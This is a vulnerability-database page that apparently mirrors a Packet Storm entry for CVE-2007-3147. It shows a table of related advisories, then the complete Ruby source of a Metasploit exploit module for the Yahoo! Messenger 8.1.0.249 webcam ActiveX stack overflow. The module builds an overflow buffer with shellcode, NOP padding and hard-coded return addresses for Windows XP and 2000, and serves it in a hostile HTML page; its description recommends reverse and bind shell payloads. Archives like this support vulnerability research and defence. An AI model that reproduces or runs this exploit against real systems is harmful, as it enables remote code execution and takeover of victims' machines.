Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 30 Views

Yahoo! Messenger ActiveX Control Buffer Overflo

Reporter	Title	Published	Views	Family All 12
Tenable Nessus	Yahoo! Messenger Webcam ActiveX Multiple Overflows	11 Jun 200700:00	–	nessus
Tenable Nessus	Yahoo! Messenger Webcam ActiveX Buffer Overflows	11 Jun 200700:00	–	nessus
Circl	CVE-2007-3147	15 Jun 201000:00	–	circl
Check Point Advisories	Preemptive Protection against Yahoo! Messenger Webcam ActiveX Control Buffer Overflow Vulnerability	12 Jun 200700:00	–	checkpoint_advisories
Check Point Advisories	Yahoo! Messenger Webcam ActiveX Control Stack Buffer Overflow (CVE-2007-3147; CVE-2007-3148)	12 Apr 201000:00	–	checkpoint_advisories
CVE	CVE-2007-3147	11 Jun 200718:00	–	cve
Cvelist	CVE-2007-3147	11 Jun 200718:00	–	cvelist
Exploit DB	Yahoo! Messenger 8.1.0.249 - ActiveX Control Buffer Overflow (Metasploit)	15 Jun 201000:00	–	exploitdb
Metasploit	Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow	7 Jun 200721:32	–	metasploit
NVD	CVE-2007-3147	11 Jun 200718:30	–	nvd

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Yahoo! Webcam Upload ActiveX  
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.   
By sending a overly long string to the "Server()" method, and then calling  
the "Send()" method, an attacker may be able to execute arbitrary code.  
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"  
yield for the best results.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-3147' ],  
[ 'OSVDB', '37082' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],  
[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]  
],  
'DisclosureDate' => 'June 5 2007',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded  
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')   
sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>  
<script language='javascript'>  
#{strname} = new String('#{sploit}')  
#{vname}.server = #{strname}   
#{vname}.send()  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

26 Nov 2009 00:00Current

1.1Low risk

Vulners AI Score1.1

EPSS0.65007